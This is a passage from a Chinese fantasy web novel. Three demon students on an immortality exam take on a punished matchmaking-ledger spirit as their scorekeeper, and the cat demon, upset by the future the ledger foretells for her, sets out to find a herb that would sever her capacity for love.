胡和烈和谢珍珠对视一眼，下一眼就看到叶米把玉瓶一倒，将杨枝甘露滴在了姻缘簿上。
姻缘簿很快发出明亮却不刺眼的仙光，照在三妖的脸上，各有奇异的神情，叶米的双眼变成竖瞳，在仙光消散之时又恢复了原样。
万情贞看着他们对自己的真身这样那样，然后真身就发光了，他正想问他们做了什么，忽然感到脑子一阵一阵地刺疼，像是有什么东西把他脑子里的东西扯过来拉过去，疼得他连连惨叫。
叶米见状，把他从空中放了下来，他就抱着脑袋在地上滚来滚去，好不痛苦：“救命啊、救命啊……大人饶命、大人饶命，我知道错了！！好疼啊——”
三妖什么都没有做，便莫名地看着他在地上扭得乱七八糟。
还是胡和烈先发现了奇特之处：“你们看，姻缘簿有变化。”
她们低头一看，只见书上原先被万情贞胡乱添加进去的字迹正在一字一句地消失，就连刚刚被撕去的几页也恢复如常，三妖下意识地去看陈嘉庆和郝春玉原本的故事结局，还真如他所说的那样，最后都是移情别恋、生死别离。
谢珍珠的情绪虽已经缓和了许多，但依旧有些失落：“唉，为什么……”
叶米抬头一看，只见刚刚还没什么变化的考核地图，现在那个多情塔的图样上盖了一个红色的“过”字，她展颜一笑：“过关了！”
胡和烈和谢珍珠一看，还真是！
他们出来好几天了，总算过了第一关！三妖都很开心，仿佛连万情贞的惨叫声也成了庆祝的乐曲。
就在他们商量着要拿万情贞和两个凡人怎么办的时候，忽然看见前方有仙光一闪，显出一个人形来。
三妖定睛一看，来者正是元善老祖，纷纷拱手行礼：“师父好！”
“欸。”元善老祖看着心情还不错，对三个徒弟微微颔首，这会又听到万情贞凄凄惨惨的哭声，摇摇头叹息道，“万情贞，你身为月老的姻缘簿，本应待在月老宫中辅助月老谱写世间情缘，却违反宫规私自下凡，还擅改姻缘簿、给这些村里的百姓造成困扰，实属不该，你可知错？”
“我知错了、我知错了！呜呜呜……”万情贞忍着疼痛熟练地跪起来，“元善老祖，您为仙善良，救救我吧，我好疼啊！”
叶米在后边告状：“师父，你可别信他的话，他一口一个知错、饶命，谁知道心里盘算着什么鬼主意，刚刚差点没害了我们。”
万情贞哭天喊地：“这回是真的，绝对不作假！”
元善老祖看他疼得可怜，摸摸胡子摇摇头：“万情贞，你现下承受的撕头裂脑之苦，正是你篡改姻缘簿造成的反噬，如今你的真身受到杨枝甘露的洗涤，正在恢复之中，你身为书灵，自然会受到影响。”
万情贞疼得眼泪biu来biu去，他也没工夫擦：“那我、我要疼到什么时候啊……”
元善老祖说：“看你改得多还是少喽。”
万情贞感受到什么叫自作孽不可活，他又疼得
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叫了两声，却发现自己的嘴里只出气没出声，登时吓了一跳，捂住喉咙“啊啊”了几下，满脸惊恐，会脑袋疼是一回事，可没说会哑巴啊！
叶米好心地告诉他：“你太吵了，影响我们和师父说话，我帮你消停些。”
元善老祖点点头：“还是叶米贴心。”
万情贞：……
“师父，”胡和烈道，“既然我们已经过了关，是不是可以走了？您特地来一趟，难道是有什么重要的事要同我们说？”
“是有件小事，”元善老祖顺了把胡子，余光瞥了眼身后无声打滚喊疼的万情贞，“这万情贞呢，虽说犯了天规天条，私自下凡捣乱，不过他对姻缘簿的更改依旧遵循着前因后果，所以罪不至死。再加上他辅佐月老多年，有功劳也有苦劳，又念在是初犯，所以月老决定对他小惩大诫。”
叶米心想这破书要被怎么惩罚关她什么事：“哦，是这样啊，所以师父，我们能走了吗？赶时间呢。”
“欸，能是能，”元善老祖往身后一指，“带上他一起吧。”
叶米：？
不等她问为什么，胡和烈就咋咋乎乎地喊道：“什么？带上他一起？为什么啊师父？他一个书灵能做什么，只会拖我们后腿！”
“对啊对啊，”连螃蟹精都不太乐意，难得反驳元善老祖的话，“师父，你别看他这样，他可坏了，在姻缘簿上戏弄了不少凡人！”
叶米清楚，若是师父他们做好了决定，她们再说什么都是没用的，便问道：“师父，如果万情贞和我们一同走，那考核的分数该怎么算？再说他不是万妖堂的学生，难道也能与我们竞争成仙名额？”
“非也非也，”元善老祖挥挥手，“万情贞并不会与你们竞争成仙名额，当然，他的所作所为也并不会影响你们三位的考核分数，不过是陪你们仨走这一趟，这也是月老的意思，想让他见识一下人间真正的情，好改了他胡作非为的毛病。”
叶米还算接受地微微点头，心想不影响她的考核就行，反正拖油瓶已经有了两个，再多一个也……是有差别的，不过师命不可违，这也没办法。
她刚安慰好自己，却听师父有了后语：
“哦对了，为师和你们树法祖师商议了一番，你们三位都是我们重点关注的弟子，便打算让这万情贞起到一个跟着你们随时记分的监督作用，做好事呢就加分，反之减分，再在边上记下缘由，做到分分有着落……”
三妖：？？？
胡和烈表示对方不配：“我不同意，凭什么让这个破书监督我们？他法力那么弱，我不服气！”
元善老祖：“这和法力是否高强无关……”
谢珍珠本就要看二妖的脸色，再加一个监督的，她觉得整只螃蟹都不好了：“师父，万情贞是写爱情故事的，而且之前还乱写，他能、能分辨是非、给我们加减分吗？”
元善老祖：“他虽是写爱情故事居多，不过对这人性啊，可比你们三妖了解多了……”
17. 第 17 章
“师父，学生有许多问题，”叶米掰着手指头开始数，“第一，是只有我们三妖有这所谓的监督者，还是其他组皆有？若是只有我们有，那算不算不公平？第二，考核路上危险重重，若是这万情贞出了什么岔子，是算到谁的头上，会怪我们没保护好他吗？”
“第三，就算这万情贞了解人性、懂得善恶，可他狡猾又有心机，若是故意篡改事实、写了我们一些不好的事迹，我们要怎么证明、找谁说理？还有啊……”
“额，好了好了啊。”元善老祖知道这猫不是个好糊弄的，连忙道，“好处自然是有的。如果你们做了好事，这分就按照四人算，若是万情贞做了坏事，也不扣你们的分，行不行？”
“还有啊，要是他记分时有失公允，你们同为师说，为师用时转镜一照，也能看出当时情景，”元善老祖摇摇手，“绝对不会冤枉你们。且，等到了考核最后，你们关照万情贞有功，月老也该帮你们说几句好话，是不是？”
这么一听，倒是有几分诱人的好处。
三妖面面相觑，谢珍珠是没什么话语权的，便转着眼珠子看二妖脸色，她瞧见叶米神色如常，不像是排斥的模样，可胡和烈好像还有些不乐意，但碍于师父在前，还能忍着不反对。
最后还是叶米一言定音：“好，那我们就看在师父和月老的面子上，勉为其难地带万情贞上路好了。”
元善老祖闻言也是松了口气，这事确实搞了个特殊，即使给了好处，三妖的担心也不是没有道理，再说叶米和胡和烈不是顺从的性子，要是他俩闹起来，他可又要掉不少白头发。
“如此甚好、甚好。”元善老祖笑容和蔼地点头，“既然这样，那你们就……哎呦，这是？”
元善老祖低下头来，发现万情贞不知道什么时候爬到他脚边，正抓着他一只脚腕，仰着脑袋满脸泪痕地盯着他，“啊啊”地张了两下嘴，可惜发不出声音，看着好不可怜。
他好心地给万情贞解了法术，后者连忙哭喊道：“元善老祖，您还没问过我的意见那！我、我不想去什么考核，我想回月老宫中、好好辅佐月老办事，元善老祖……”
元善老祖爱莫能助道：“这，其实这也是月老的意思……”
万情贞讶然失声：啊？
胡和烈“呦”了一声，语气颇为嫌弃讽刺：“还轮得到你不乐意啊？”
万情贞当然是不乐意了，某两只妖看着就很不好相处，本来自己就骗了她们，原想着等回到天庭该怎么就怎么样，她们手再长、妖力再厉害也管不着……谁知道现在落到她们手里，还要苦哈哈地去历经考核、求他们庇护……
这搁谁谁愿意啊！
可元善老祖说了，这也是月老的意思。
万情贞再次感到自讨苦吃的悔恨，脑袋一歪倒在地上，斜着眼睛看见三妖居高临下看着他的嫌弃神情，眼泪从左眼眶流出来，顺着右眼眶流下去。
元善老祖小心地把脚抽回来，理了理衣袖道：“这两个凡人就让为师送回去吧，你们休息好，继续上路就是。”
三妖朝元善老祖一拱手，语气尊敬：“是，师父！”
元善老祖带着不知何时陷入昏迷的陈嘉庆和郝春玉闪现消失了，偌大空荡的塔中只剩下三妖一书灵。
叶米看万情贞已经不再疼得打滚，但还是躺在地上装死，冷笑一声道：“别装了，既然不疼了就赶紧起来，别耽误我们上路。”
胡和烈咧嘴一笑：“你要是不起来，我就这么拖着你的头发，把你一路拖着走！”
谢珍珠温和地说：“你快起来吧，他们都是说到做到的。”
万情贞：……
人在屋檐下不得不低头，只好抽抽鼻涕擦擦眼泪站起来了，还没站稳呢，又听叶米说：“瞧你一身糟蹋样，能不能收拾得干净些？看着真碍眼。”
万情贞：我刚从脑子快被撕裂的疼痛中以及被派遣和你们几个恶妖一道的悲痛中回过神来，能不能给点缓和时间？这简直是压迫！
万情贞：“好的好的，马上马上。”
他使了个术法，身上便换了套干净的衣服、乱糟糟的发髻也恢复成民间书生常用的样式，脸上没了泪水和灰尘，看着也是清俊的一小伙。
万情贞瞧见镜中自己的人模人样，心里头有些舒心了，他瞥了眼坐在边上吃干粮的三妖，似有所感地召唤出自己的真身，却见原本写着“姻缘簿”三字的封面上，字变成了“记分簿”。
他还没打开看，手上的本子就被抢走了。
“什么东西？”胡和烈动作随意地翻了翻，“记分簿？这就是你用来给我们加减分的册子？”
万情贞：“是、是啊。”
“哼。”胡和烈朝他露出威胁的笑容，“该记什么、不该记什么，不用我和你说吧？”
万情贞：……
他先胡乱地点了下头，趁着胡和烈不备，壮着胆子把本子抢了回来变没之后，才松了口气，小声地反驳道：
“你们师父都说了，要我公平公正的……而且，明眼人都看得出来，让我和你们一同走，正是月老给我的惩罚，要是我再不端正态度，认真完成他交代给我的任务，那、那我也没好果子吃的！”
他余光瞧见叶米和谢珍珠也在看他，想到刚刚那本“记分簿”，忽然有了些底气，大声了一些让她们也听得见：“现在我们四个是一条绳上的蚂蚱……”
虎头蜂：“谁是蚂蚱！”
“……我是说，我们四个现在是一条船上的人，”万情贞抱着商量的态度，“就是说能不能，大家和平相处，互利共赢嘛……我老老实实给你们记分，写一些好话；你们、你们也待我好一些……”
“切，”胡和烈不屑道，“难道你以为小爷会给你穿小鞋？只要你安安分分的，我才赖得理你。”
万情贞抬起眼睛，看胡和烈有些凶巴巴的粗眉毛：“真的？你们不怪我先前骗了你们……”
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胡和烈无语：“这些小仇还不值得我放在心上。”
“对呀，”谢珍珠也善解人意道，“我们知道你是为了保命才骗我们的，而且谁不会犯错呢？既然师父和月老都给了你机会，那你好好把握，不要再重蹈覆辙就是了。”
就连叶米也无所谓道：“乖乖听话，我不会为难你。”
万情贞这会觉得舒服好多了，他没想到这三妖还是很讲理的嘛！登时脸上露出了开心的笑容，配上他现在书生的装扮，看着倒是天真又人畜无害。
谢珍珠这时候想到什么：“不过我还有一个疑惑，为什么那个真情宝盒后来可以打开了呢？难道真是被我摔到地上摔坏了？”
万情贞摇摇头，也是有些奇怪：“真情宝盒是天上的宝物，怎么可能一摔就坏了……可是那两人的眼泪，分明试过了两回，都没用的啊？为什么打开了，我也不太清楚。”
“我清楚。”叶米轻飘飘地说，“是谢珍珠的眼泪将它打开的。”
“什么？”
“我的眼泪？”谢珍珠瞪着清澈的眼睛，手指头指指自己，“可我那会已经不喜欢陈嘉庆了呀！我只是觉得他很可怜。”
叶米抬了下眉毛：
“真情人的情，不只是指爱情，友情、亲情，同情，只要情够真……或者说，只要这情写在姻缘簿上，那就是真情。万情贞撕了几页纸，却漏了一句话写在了前页的末尾，那句话是：‘谢珍珠看着两个凡人为爱痛苦的模样，心中非常同情。’”
万情贞回想起什么，证实她的想法：“对！我是把这句写在了前页……后来也没撕掉，因为那页上有别人的情缘。想不到啊，居然是这么回事……”
胡和烈有些侥幸，拍拍万情贞的肩膀：“还好你没撕干净，不然我会让你死得很干净。”
万情贞：……
谢珍珠觉得很是不可思议，一种诡异的思绪笼罩着她的大脑，她说不分明这是什么感觉，喃喃自语道：
“为什么会这样？我同他们认识不过两个时辰，姻缘簿上也只记载了这么一句……光是这样，就能比得过陈公子和郝姑娘与他们爱人的生死情缘了？不该是这样的啊……”
叶米似笑非笑地看着万情贞，话是朝谢珍珠说的：“该是怎样难道是你这个螃蟹精说得算的？你的话哪里有姻缘簿上的一字一句有分量？是这样吧，小书灵？”
小书灵莫名感到了阵阵的寒意，就连额头上都冒出了一丝冷汗，他多少有些怵这只猫妖：“是、是呀，哈哈，猫大人说的是……”
猫大人抱着胸，笑容核善道：“既然你想我好好待你，那也该拿出点诚意来，不然就你之前的所作所为，我可不敢对你抱多大的信任。”
还是搁这等着他呢：“……大人您说。”
叶米道：“我想知道，我这只猫妖在月老的姻缘簿上有怎样的故事。”
“啊！？”万情贞一惊，神色惊诧，“这、这是泄露天机！”
18. 第 18 章
“听着倒是蛮有意思的，”胡和烈也有点兴趣，“顺便也看看我的。”
谢珍珠举手：“还有我的，我也好奇……”
“不行啊不行啊！”万情贞连连摆手，头也跟着手一起摇，“天机不可泄露，要是我告诉你们，我会被月老撕了、烧了，被扔去给哮天犬凌辱……”
叶米脸色阴沉下来：“你要是不告诉我，我现在就把你撕了、烧了，让你被我这只猫妖凌辱。”
万情贞两眼一黑。
“为什么你执着于要知道呢？等日后发生了就自然知晓了！”
叶米见他不识好歹，彻底没了好脸色，语气冷飕飕地：“你以为我同意让你加入我们是为了什么？若不是你有这点用处，别说是我师父了，谁在我这的面子都不好使。”
“可、可是……”
“你第一天认识我，不太清楚我的情况。”
叶米的双眼化成竖瞳，失去了人类的眼神后，一双竖椭圆诡异得毫无情绪，她盯着开始发抖的万情贞，皮笑肉不笑道：
“我和他们两个不一样，我是一只无父无母的野猫，无所顾虑、肆无忌惮，我就想成仙，什么也阻挡不了我。你放心，只要姻缘簿上属于我的缘分不会对我成仙有什么影响，我什么都不会做。”
万情贞从来不知道猫的眼睛是这么恐怖的，他被她盯得全身发毛、膝盖发软，动也不能动，可怜地说：“那、那如果有影响呢……”
叶米冷静道：“这是我的事，我不会拖你下水。”
说完，她想到边上的两妖，又补充道：“也不会耽误你们两个。”
胡和烈是好奇这只臭猫的姻缘的，他无法想象这猫会和哪个倒霉蛋产生什么因缘际会，这简直是他妖生最想吃的瓜之一，便事不关己地撺掇道：“你就给她看看呗，她都说了不会拖你下水的，这臭猫说到做到的。”
谢珍珠却有些忧心，她对这些违法乱纪的事儿是很害怕的，又知道自己劝不动叶米，绞尽脑汁地想了会，才道：“叶米，可是月老的姻缘簿有好几本，万情贞这一本我们看过了，上面好像没有你的……”
万情贞才想起这茬，仿佛找到救命稻草一般，抓着就往上爬：“是啊是啊，你不在我这本上！就算你知道了也改不了的，还是顺其自然……”
叶米抓住重点：“我能知道？”
万情贞：。
叶米点点头：“说的也是，你们这些姻缘簿之间肯定有所联系。”
万情贞：。。
叶米朝他笑：“万情贞，你帮了我这一回，我会对你好的。”
万情贞：。。。
他暂且不知道猫妖的“好”自己能不能受得起，只清楚如果现在不帮她，接下来的日子肯定不会好过。不过叶米也说不会拖他下水的……
万情贞虽说胆子小，但好歹有点胆子，且胆子的属性是“狡猾的胆子”，所以他为了得到叶米的“好”，还是支支吾吾、勉为其难地应下了：“好吧，我答应你，不过只能看你一妖的，我怕被月老发现……对了，你绝对不能告诉别人啊！”
胡和烈理所当然地在边上说：“我也要看，我也是知情妖，叶米，你想让我和谢珍珠保守秘密，就让我们看你的情缘。”
谢珍珠不敢应声。
叶米不甚在意：“随便。什么时候能看？”
“晚上，”万情贞说，“等月亮出来时，就是我和其他书灵联系最强的时候，到时候我帮你问问他们。”
“好。”
他们在塔中待了一天多，出塔时是隔日的下午，几妖的肚子都很饿，可下一座城池还要老远，便决定先返回金塔村吃个饭休息会，等养好了精神，明早再上路。
一回到村里，叶米便发现金塔村里的氛围与他们来时的格外不同，比如，大街上走着的女人，不再人手一个男人了，简单来说，就是成双成对的小情侣少了许多。
走进要吃饭的客栈时，几妖还凑上了热闹，是里头有一对夫妻站在桌子边吵架。
女的大喊：“老娘早就受够了你这个臭男人，白天跟你的小妹厮混，晚上抱着我说多爱我，像你这种下贱的爱，我不稀罕，我要跟你和离！”
男的大叫：“你突然发什么神经，前几年不都这样过来了？你吃醋就吃醋，不要随便把和离挂在嘴上！我娶了你没有娶她，我对你还不够好吗？”
女的发疯：“好你个头，我真是猪油蒙了心！怎么会对你爱得死去活来？你和你妹妹是同母异父，你这是背~德乱~伦，你真恶心！不对，更恶心是我，我明知道你恶心我还爱你，我简直是糊涂啊！”
男的尖叫：“你他娘的放屁！胡说八道！你想污蔑我！好啊，和离就和离，像你这种疯疯癫癫的女人不配做我的妻子，你现在就给我滚！”
……
叶米觉得吵，要去楼上吃饭，万情贞不知怎么的，头垂得好低，都要到胸口了。
几妖坐到二楼，听见边上有一桌人在讨论楼下发生的事：
“啊呀，今天是什么日子啊，我从家里头和我娘子吵架出来，一路上已经遇见好几对斗嘴的夫妻了，大打出手的都有，这这这……”
“真是古怪，我们金塔村家家户户向来都是夫妻和睦的，怎么回事呢……”
“唉，我今晚还是别回去了，去怡情院消停一晚。”
“李兄，一起啊……”
……
三妖听罢，纷纷看向垂着脑袋在桌子上画圆圈的万情贞。
谢珍珠弯下脑袋看他：“万情贞，这都是你做的好事呀？”
万情贞心虚一笑：“我、我只是不喜欢吵架，而且夫妻嘛，很多都是床头吵架床尾和的，都是老把戏。比起那些轰轰烈烈的争吵，难道不是咽下口水默默委屈更虐心吗？吵来吵去的多难看啊……”
叶米敲敲茶盏杯壁：“可是你这样做，让那些本能和离的夫妻还要携手共度，这不是在折磨他们？”
“不是啊不是啊。”万情贞连连摆手，“我没有篡改因果，夫妻缘分未尽的，就是互相折磨到断手断脚也不会和离，我只是改了他们相处的模式，没有改动最后结局的……
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”
“就像楼下那对，”万情贞用手指点了点桌子，“别看他们现在吵得这么凶，过两日就和好啦！今天这么多对夫妻吵架，是因为我先前改掉的情节正在逐渐恢复中，等他们把该吵的吵完了就好了……”
三妖三脸不相信。
万情贞觉得有些委屈：“我说得都是真的，我身为书灵，很有原则的。”
叶米：“哦。”
胡和烈：“这小二怎么还没来上菜，饿死小爷了！”
谢珍珠：“我去催催！”
万情贞：。
他说得都是真的！
日夜交替，很快就到了晚上。
叶米推开窗子一看，今晚的夜空晴朗，一轮圆月挂在上头，照得万里无云。有这么好的月光，想来万情贞与其他书灵的沟通会很顺利。
四妖相聚在客栈的屋顶上，万情贞盘腿坐下，双手在胸前立三指合上，闭着眼睛嘴中念念有词：“上知天界机密事，下知凡间人事意，如令如令……”
三妖在边上静静看着不打扰，不多时，他的面前浮现出一本闪着桃金色光芒的书册，正是一本姻缘簿。
万情贞停下念词，右手朝上一伸，那本书就落到了他手上，他把书递给叶米：“猫大人，他们同我说就是这本，你快些看了，要在月老发现之前还回去。”
“多谢。”叶米接过书开始翻阅。
大概是心有所应，她没翻几页便翻到了属于自己的那页，边上二妖好奇地凑过来看，她也没有遮拦，并不在意自己未来的情缘被人窥见。只不过才看一眼，她就皱起了眉头：
“怎么回事，为什么这么多字句模模糊糊的，我看不清楚？”
“是啊，”谢珍珠揉揉眼睛，“我也只能看见几行……”
胡和烈看向万情贞：“喂，怎么回事啊？”
万情贞唯唯诺诺地解释：“是、是这样的，这本书毕竟不归我管，我也是同兄弟们费了许多口舌、求了很多情，这才让他们答应我的。可是我有胆子让你们窥见天机，他们不敢呀，我好说歹说，才让他们把开头和结尾显现出来，唉，将就看吧。”
“有结局就够了，”叶米道，“结局是最重要的。”
胡和烈瞅一眼：“好啊，那就让我看看你们是怎么认识的……哦？‘叶米差点死于***的手下，危急时刻，南显成将其救下，叶米见他如似故人，感恩之余多了几分好感’……就这样啊，没了？”
“原来他是救了叶米，”谢珍珠恍然大悟般点点头，“那他法术一定很厉害喽？不过这个***是谁啊，叶米都打不过他？肯定是个很恐怖的妖怪！”
叶米冷飕飕地笑了一下：“连我都打不过，不知道那个时候你们两个在哪。”
两只妖：……
“哦，错了，”叶米又朝万情贞一笑，“是你们三个。”
三只妖：……
她也不理会三妖的恐怖表情，继续往后翻，翻了两页都是模糊不清的字样，直到最后一页才有一句清楚明白的，叶米定睛一看，猛然愣了神。
19. 第 19 章
谢珍珠凑过来：“不知道叶米和南公子最后怎么样了，我看看……‘叶米放弃了成仙机会，与南显成修成百年之好，成为一对自在快乐、四处斩妖除魔的佳偶……完’。哇，太好了叶米，你们两个人最后幸福地在一起了！”
“不可能……”
谢珍珠听这声忽然想到什么，脸上的笑容一僵，小心地转过眼珠子看叶米的神情，只见她竖着猫瞳，脸色冷得像是她老家冬日落雪时的冰层，刺骨的寒激得她发抖，生了许多恐惧。
“不可能！”
叶米将那几页捏在手上，神色狠厉、毫不犹豫地一撕——
姻缘簿金光乍现，逃也似的不见了踪影。
猫妖微微一愣，手一伸就把万情贞揪了过来，忍着平静的话下已经有崩塌前摇摇欲坠的前兆：“书呢？”
万情贞吓得要命，哭丧着脸说：“这这这不是我的书啊，这是他们的姻缘簿，刚刚那只是幻影罢了！”
叶米回过神来，却没将万情贞放开，继续逼问道：“上面写的都是真的？”
“这这、是、是吧……哈哈，猫大人，真还是假，日后你就知道了……”
叶米微微摇头，语气坚定：“不可能，我不可能会放弃成仙机会。”
“这我就不知道了啊……大人，您的故事也不是我写的，我什么都不知道的……你你你别乱伤无辜啊！”
胡和烈吃到瓜后还是有些感慨的，他是半信半疑的，一半疑惑叶米会放弃成仙机会，一半却相信姻缘簿的效力，不过这不影响他幸灾乐祸、落井下石：
“叶米，你应该高兴啊，你这不是有情人终成眷属了？多难得啊，哈哈哈哈哈！至于成仙，就让我和这螃蟹精来替你完成愿望好了，哈哈哈哈，不必客气！”
“是、是啊。”还被揪着领子的万情贞连忙顺势说，“猫大人，我是姻缘簿书灵，我最知道了，世间的真情多难得啊……你与这位南公子有如此善终，不知道是几世修来的福分！”
叶米很是不屑：“呵，这福分给你要不要？”
万情贞诚恳地点点头：“我要啊……”
叶米：。
她把这没用的书灵扔到一边，夜晚的凉风吹得她心脏砰砰跳得剧烈，脑子越发燥热起来，其余三妖看着她一副难以接受的模样，都识相地没再惹火上身。
最后还是叶米先说要回房，几妖这才散开。
叶米回到房中，又从窗户跳了出来，猫步轻巧地在屋檐上跑了几步，最后停在一处没有树荫遮挡的赏月好位置上。不过她霸占了这么好的位置，却实在没有赏月的心思，脑子里是一片混乱。
一面是不敢相信，自己怎么可能会为了一个男人放弃几百年的目标，让她的成仙大业中道崩阻？她从来不相信任何人，只相信自己，所以现在的情况是，未来的自己也会背叛她吗？
一面又感到许多恐怖，这姻缘簿的威力她才见识过，居然能让她陷入幻境之中毫无察觉地爱上一个人，甚至难以清醒、越发沉沦，今日能逃出困境，也是不幸中的万幸，多亏万情贞这小子不经意漏了马脚，让她抓住了机会……
再看那真情宝盒受到的影响，两个凡人的半世情缘就因为在姻缘簿上被销毁了就全然不作数了，反倒是谢珍珠一句简单的“同情”就能被当真，这姻缘簿属实可怕，一字一句就判定了她们的命运……
所以她的命运就是，放弃成仙？
不可能。
叶米想，绝对不可能，就是她被人杀死、死不瞑目地成不了仙，也不会为了谁主动放弃这个机会！只要她活着——可她即使全心全意地相信此时的自己，心中对姻缘簿的忌惮依旧在四处蹦跶，让她无法完全安心。
她要想个办法，让姻缘簿不能影响她。
谢珍珠打了个哈欠，打算关窗睡觉，窗户合到一半的时候，她好像瞧见叶米站在云上往哪里飞去，登时瞪大了眼睛仔细一瞧，可眨眼间就什么也瞧不见了。
她有些纳闷，这么晚了叶米要去哪里呢？该不是她眼花看错了吧？胆小的螃蟹精又不敢去隔壁敲叶米的门，想了小一会，还是决定回床上睡觉去了。
今晚也是一夜好梦。
叶米除外。
她连夜赶回万妖堂的百书堂，翻阅了一整夜的典籍，寻找能摆脱姻缘簿影响的办法，隔日早上才掐着要出发的时间又飞回了客栈，两只猫眼下面挂着比她眼睛加眼眶还大的青黑袋子，看着脸色好阴沉。
“我去，”胡和烈从房间出来，被迎面而来的猫的脸色吓得一激灵，“你搞什么啊，晚上不睡觉做贼去啊？”
叶米打了个哈欠：“是。”
“……开玩笑吧你？”
“知道还问。”
四妖在一楼大堂大吃大喝地用过早膳，便决定出发了。
离开金塔村前，谢珍珠还有些忧愁地回头望望：“不知道陈公子和郝姑娘现在怎么样了……”
“我知道啊，”万情贞举手，“他们在我的姻缘簿上，要不要我和你说？”
“好啊好……”
“不准说。”胡和烈道，“你要是说了惹得这只螃蟹哭哭啼啼，小爷会很烦的。”
谢珍珠小心嘟嘴：“你不好奇我好奇啊。”
胡和烈哼笑一声，觉得这螃蟹真幼稚：“我看你是话本子看多了，什么故事都要知道个结局，听到不是阖家欢乐的结局还要伤心伤肺地哭，你是小孩子吗笨螃蟹？能不能用你没用的脑子想点有用的事？比如怎么提高法术。”
谢珍珠被骂得狗血淋头，又羞恼又伤心，瘪着嘴巴自闭去了，倒是也没再问万情贞。
其实她自己想想也能想明白那两人的结局，但也许真如胡和烈所说的，快乐的小孩子故事看多了后，总是会幻想在故事结尾有个好神仙出现，救了里面所有的大好人，然后大家幸福美满地生活在一起……
而故事之外的事实是，陈嘉庆和郝春玉的故事里没有神仙出现，只有他们这四只来搅混水的妖精。
螃蟹精感到自己的无用，她原来想，自己还有一些善良的品质
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会比叶米和胡和烈好一些，现在发现这一些善良反倒显得她可笑了。
胡思乱想不误脚下行程，很快，她们就离开了多情塔，走到了村外的一个分叉口。
叶米召出地图，面前这两条路都是殊途同归，都会通向她们要去的下一个目的地，两条路中间被三座大山阻隔，一条搭着一条河流，另一条就是普通的郊外荒路，沿途都有村镇。
谢珍珠挠挠头，左看看右看看，再看也不是做决定的那个：“我们往哪走呀？”
万情贞说：“自然是走右边这条靠河的路了，沿途不愁水喝，饿了还能捉点鱼虾吃，这不是很合适？”
他说中了谢珍珠心之所向，她连连点头道：“是啊是啊，你说的没错。”
胡和烈却不同意：“这一条路边上有河又有这么多湖泊，一看就是经常下雨，下雨就会耽误脚程。反正沿途都有村庄，再不济就飞一趟路找了水再回来，难道还怕喝不上水？”
谢珍珠眨眨眼，小声说：“是啊是啊，也是这个道理。”
于是两条路各有一票，墙头螃蟹不算票，几妖便看向叶米。
叶米的视线从地图上收回来，微微一笑道：“走左边的路吧。”
没被投票的万情贞表示自己要个解释：“为什么啊？”
胡和烈：“因为猫讨厌下雨。”
叶米翻他白眼，倒是没有否认，只是指着地图上一片小森林说：“因为我要顺路去白骨林，找断魂草。”
“断魂草！？”
几妖俱是一惊，胡和烈知道她一心赶路，不会做多余的事，便诧异道：“断魂草是民间的致命毒草，我们妖服用了虽不致死也会元气大伤，你无缘无故找这个玩意做什么？和考核有什么关系吗？”
“自然是有关系的，”叶米瞥了眼万情贞，似笑非笑道，“既然我改不了姻缘簿，那我就用断魂草做引，将我的情根拔出，没了情根，我自然就不会爱上那个叫什么……”
万情贞温馨提醒：“南显成。”
“不重要，”叶米无所谓一撇头，“等拔了情根之后，我便不会爱上任何人，到时候谁还能阻挡我成仙呢？哈哈哈哈！”
她笑得渗妖，谢珍珠摸摸胳膊，摸到两手鸡皮疙瘩。
“我从来没听过这样的法子，”姻缘簿书灵露出思酌的神色，“若是拔了情根，姻缘簿上的预言是否还能见效呢？欸，这倒是有意思的试验……猫大人，我支持你找断魂草断情根！好啊好啊，就去这个白骨林！”
“呵，笨书，你知道白骨林是什么地方吗？”胡和烈平等地瞧不起所有笨妖灵，“你猜它为什么叫白骨林，不叫百花林、百树林？”
万情贞一想便明白了，顿时胆子一缩，嘿嘿一声：“那我还是不拖大人的后腿，在林外等你好了！”
有人衬托的时候，胡和烈就喜欢要表现一下自己的厉害：“叶米，白骨林的危险你不是不知道吧？哼，你要是诚心诚意地求求我，再毕恭毕敬地我几声胡大哥，小爷就大发慈悲地陪你去一趟。”
20. 第 20 章
“是啊是啊，叶米，”谢珍珠自己是不敢去的，于是说，“就让胡大哥陪你去吧，你们两个结伴而行，也好有个照应。”
“真是多谢你们的关心，”她这话听不出是阴阳怪气还是真心的，只听得出很是淡定，“白骨林我先前去过，死不了妖，我自己去就行了，我会等晚上你们休息的时候再去，不会耽误行程。时候不早了，先上路吧。”
大晚上去啊？
万情贞抿嘴，心想真是胆子好大的一只猫。
“叶米叶米……”叶米率先进了左边的路，谢珍珠追上去，小心地好奇道：“你是什么时候去的白骨林呀？里面是不是真如传说中那样恐怖，有无数奇形怪状的妖怪，还有阴魂不散的怨鬼……”
叶米回忆了一下：“是见到过几只妖，也撞见了一些鬼，不过我去的时候还只是一只未化形的猫，他们没把我放在眼中。”
“这样啊……那你当时为什么去呢？”
“忘了。”
胡和烈加入群聊：“所以你这次是打算变成原形进去？可你今时不同往日，身上已有妖气，只要是比你法力高强的妖鬼，一眼就能看出来。”
叶米似乎一点也不觉得很危险，泰然自若道：“放心，我有自己的办法。”
她都这么说了，其他三妖也不再相劝，本来也不是多好的关系，自然也没有多少关心。
几人一路走，沿途都是荒凉的野路，刚开始还遇见过几个人，走得远一些后就前后不见人烟了。太阳下山后，他们趁着天未黑透又赶了一段路，好不容易才瞧见不远处一间孤零零的破庙。
“呼——”从来没走过这么久的路、累得气喘吁吁的万情贞一边松了口气一边喘气，“终于有个地方落脚了，我可不想躺路边睡觉……”
叶米夜视能力好，看见那件破庙的模样后，实话实说：“住那里面估计和睡路边也没区别。”
万情贞：“图个心里安慰嘛！”
胡和烈飞起来看了一下，又落下来说：“里面有烛光，有人在。”
“有人在就好，”谢珍珠反倒是松了口气，“这间庙看起来有点阴森森的，人多点好、人多点好……”
胡和烈嘲笑她：“你是只妖，还想靠人类壮胆？你猜庙里的那几个人知道我们是妖他们怕不怕？”
谢珍珠嘟了嘟嘴，小声咕哝：“人家就是胆子小嘛……”
她是真胆子小，天黑之后就一直凑在叶米边上，还不小心踩了猫的后脚跟三次，被猫大骂了一通后才离得远了两寸。
几妖走到庙宇门口，近了一看，这庙就更破了，地上都是灰尘落叶和一些垃圾，明显很久没人来过，两侧的窗户被蜘蛛网盖着，散出暗淡的烛光，门被关得严实，不知哪里吹来的冷风卷着几妖的长发，瞧着很有恐怖的范围。
叶米抬头看了看牌匾，上边的字样都要被灰尘掩盖了，夜色又黑，幸好她视力好，看出这庙叫“秋果寺”。
她记得这条路走下去，会遇见一座叫秋果村的村庄，看这名字，这庙应是隶属于那村的，为什么这么荒无人烟？
